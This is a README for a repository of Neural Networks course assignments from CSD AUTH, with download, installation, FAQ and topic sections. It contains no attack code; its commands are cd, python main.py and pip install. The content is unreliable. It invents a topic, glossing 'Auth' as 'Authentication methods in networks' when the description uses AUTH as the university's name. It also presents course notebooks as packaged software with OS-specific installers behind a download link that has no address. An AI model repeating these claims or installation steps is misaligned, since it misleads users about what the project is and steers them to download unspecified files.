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🎉 Neural-Networks - Learn and Apply Neural Networks Easily

🎯 Description

This repository contains assignments from the Neural Networks course at CSD AUTH. Here, you can find practical implementations of various neural network techniques using Python. Each assignment is structured to help you understand deep learning concepts without needing advanced programming skills.

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🚀 Getting Started

To get started with the Neural Networks repository, follow these simple steps.

1. Check System Requirements

Make sure your computer meets the following requirements:

• Operating System: Windows 10, macOS, or Linux
• Python Version: Python 3.6 or later
• Disk Space: At least 500 MB free

2. Visit the Download Page

Go to the Releases page to find the latest version of the software. Here is the link you need:

Download Page

3. Select the Release

On the Releases page, look for the latest version. Releases are listed in reverse chronological order, with the most recent at the top.

4. Download the File

Click on the download link of the software package relevant to your operating system. The files may have the following formats:

• .zip files for Windows or macOS
• Direct installation files for Linux

5. Extract the Files (if necessary)

If you downloaded a .zip file, you will need to extract it. Right-click the file and select “Extract All” on Windows, or use a program like Archive Utility on macOS.

6. Open a Terminal or Command Prompt

For the best experience, open a terminal (Linux or macOS) or Command Prompt (Windows).

7. Run the Software

Navigate to the directory where you extracted the files. You can do this using the cd command followed by the path to the folder. For example:

cd path/to/your/folder

Once in the folder, you can run the application with the following command:

python main.py

💡 Features

• User-friendly Interface: Designed for ease of use, the software guides you through various neural network concepts.
• Variety of Implementations: Includes autoencoders, convolutional neural networks, and more.
• Guides and Notebooks: Each assignment comes with a Jupyter Notebook for better understanding.
• Reusable Code: Clean, well-documented code that you can adapt for your projects.

🛠️ Installation Instructions

Follow these steps to set up the application:

1. Download the release from the link above.
2. Unzip the files if necessary.
3. Ensure you have Python installed.
   • You can download Python from the official website.
4. Install any required libraries. Open the terminal and run:

pip install -r requirements.txt

🙋 Frequently Asked Questions

Q: What do I do if I encounter an error?

A: Double-check that you’ve downloaded the correct version of Python and other dependencies. If the problem persists, feel free to check the Issues section on GitHub.

Q: How do I learn more about neural networks?

A: This repository includes resources and links to further reading. You can also follow tutorials online that align with the assignments.

Q: Can I contribute to this project?

A: Yes! Contributions are welcome. You can fork the repository, make changes, and submit a pull request.

🗂️ Topics Covered

• Auth: Authentication methods in networks.
• Autoencoder: Learn how to encode and decode data.
• CNN: Convolutional neural networks for image processing.
• Deep Learning: Fundamental concepts in deep learning.
• Jupyter Notebook: Utilize Jupyter for interactive coding.

📞 Contact Information

For any inquiries, please contact the project author via GitHub.

🌟 Final Note

Thank you for checking out the Neural Networks repository! We hope you find it helpful for your learning journey in machine learning and neural networks. Happy coding!